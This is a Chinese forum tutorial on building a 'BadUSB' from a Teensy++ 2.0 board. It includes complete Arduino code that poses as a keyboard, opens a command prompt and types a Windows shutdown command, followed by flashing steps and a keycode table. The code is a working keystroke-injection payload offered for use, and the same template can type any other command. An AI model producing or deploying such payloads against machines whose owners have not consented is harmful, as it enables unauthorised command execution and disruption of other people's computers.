用Teensy++2.0制作一个简单的关机BadUSB

Teensy++2.0 就是这玩意,淘宝40+

之前发过一篇类似的。。用Digispark制作一个简单的Badusb 但是那玩意有点坑。。Linux免驱,windows下不免驱好像。。。

这玩意就舒服很多了,亲测windows免驱。。


准备

安装好Arduino之后打开上卖弄的Teensyduino下载页面,下载Windows XP / 7 / 8 / 10 Installer运行

一路Next

在这里选择你Arduino IDE所在的目录

默认All不需要变动

代码

同样可以用这个工具把大黄鸭的代码变成Arduino的代码

这里直接上代码

#include "Keyboard.h"


/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(500);
  delay(3000);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.print("cmd");

  delay(1000);

  Keyboard.press(KEY_RETURN);
  delay(50);
  Keyboard.release(KEY_RETURN);

  delay(1000);
  Keyboard.print("shutdown -s -t 100");
  Keyboard.press(KEY_RETURN);
  delay(50);
  Keyboard.release(KEY_RETURN);
  delay(700);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}

可以猜出来部分函数的功能

delay() : 延迟
Keyboard.press() : 按下一个键
Keyboard.release() : 松开一个键
Keyboard.print() : 打印

上传

插入开发板

Arduino中开发板选择 Teensy++ 2.0

特别注意:USB Type要选择一个带Keyboard的,默认是Serial 没有键盘的功能

image

然后点击上传
image

这里会提示摁一下Teensy上面的按钮进入可编程模式

image

就是板子的这个地方

image

摁一下之后窗口会有反应,reboot过后就写入完成了

Keyboard.h键值参考表

一,宏定义部分

【输入宏定义】

#define     KEY_LEFT_CTRL             0x80
#define     KEY_LEFT_SHIFT            0x81
#define     KEY_LEFT_ALT                0x82
#define     KEY_LEFT_GUI                0x83
#define     KEY_RIGHT_CTRL           0x84
#define     KEY_RIGHT_SHIFT          0x85
#define     KEY_RIGHT_ALT             0x86
#define     KEY_RIGHT_GUI             0x87
#define     KEY_UP_ARROW            0xDA
#define     KEY_DOWN_ARROW     0xD9
#define     KEY_LEFT_ARROW         0xD8
#define     KEY_RIGHT_ARROW      0xD7
#define     KEY_BACKSPACE           0xB2
#define     KEY_TAB                        0xB3
#define     KEY_RETURN                 0xB0
#define     KEY_ESC                        0xB1
#define     KEY_INSERT                   0xD1
#define     KEY_DELETE                   0xD4
#define     KEY_PAGE_UP                0xD3
#define     KEY_PAGE_DOWN         0xD6
#define      KEY_HOME                    0xD2
#define      KEY_END                       0xD5
#define      KEY_CAPS_LOCK           0xC1
#define      KEY_F1                          0xC2
#define     KEY_F2                          0xC3
#define     KEY_F3                          0xC4
#define     KEY_F4                          0xC5
#define     KEY_F5                          0xC6
#define     KEY_F6                          0xC7
#define     KEY_F7                          0xC8
#define     KEY_F8                          0xC9
#define     KEY_F9                          0xCA
#define     KEY_F10                        0xCB
#define     KEY_F11                         0xCC
#define     KEY_F12                        0xCD

二,ascii 码部分

【输入注释里的字符的ascii码】

0x2a,                  // BS    Backspace
0x2b,                  // TAB    Tab
0x28,                  // LF    Enter
0x2c,                  //  ' '
0x1e|SHIFT,       // !
0x34|SHIFT,       // "
0x20|SHIFT,       // #
0x21|SHIFT,       // $
0x22|SHIFT,       // %
0x24|SHIFT,       // &
0x34,                 // '
0x26|SHIFT,       // (
0x27|SHIFT,       // )
0x25|SHIFT,       // *
0x2e|SHIFT,       // +
0x36,                 // ,
0x2d,                // -
0x37,                // .
0x38,                // /
0x27,                // 0
0x1e,                // 1
0x1f,                 // 2
0x20,                // 3
0x21,                // 4
0x22,                // 5
0x23,                // 6
0x24,                // 7
0x25,                // 8
0x26,                // 9
0x33|SHIFT,      // :
0x33,                // ;
0x36|SHIFT,      // <
0x2e,                // =
0x37|SHIFT,      // >
0x38|SHIFT,      // ?
0x1f|SHIFT,       // @
0x04|SHIFT,      // A
0x05|SHIFT,      // B
0x06|SHIFT,      // C
0x07|SHIFT,      // D
0x08|SHIFT,      // E
0x09|SHIFT,      // F
0x0a|SHIFT,      // G
0x0b|SHIFT,      // H
0x0c|SHIFT,      // I
0x0d|SHIFT,      // J
0x0e|SHIFT,      // K
0x0f|SHIFT,       // L
0x10|SHIFT,      // M
0x11|SHIFT,      // N
0x12|SHIFT,      // O
0x13|SHIFT,      // P
0x14|SHIFT,      // Q
0x15|SHIFT,      // R
0x16|SHIFT,      // S
0x17|SHIFT,      // T
0x18|SHIFT,      // U
0x19|SHIFT,      // V
0x1a|SHIFT,      // W
0x1b|SHIFT,      // X
0x1c|SHIFT,      // Y
0x1d|SHIFT,      // Z
0x2f,                 // [
0x31,                // bslash
0x30,                // ]
0x23|SHIFT,      // ^
0x2d|SHIFT,      // _
0x35,                // `
0x04,                // a
0x05,                // b
0x06,                // c
0x07,                // d
0x08,                // e
0x09,                // f
0x0a,                // g
0x0b,                // h
0x0c,                 // i
0x0d,                // j
0x0e,                // k
0x0f,                 // l
0x10,                // m
0x11,                // n
0x12,                // o
0x13,                // p
0x14,                // q
0x15,                // r
0x16,                // s
0x17,                // t
0x18,                // u
0x19,                // v
0x1a,                // w
0x1b,                // x
0x1c,                // y
0x1d,               // z
0x2f|SHIFT,      // {
0x31|SHIFT,     // |
0x30|SHIFT,     // }
0x35|SHIFT,     // ~
4 个赞

服务器资源由ZeptoVM赞助

Partners Wiki Discord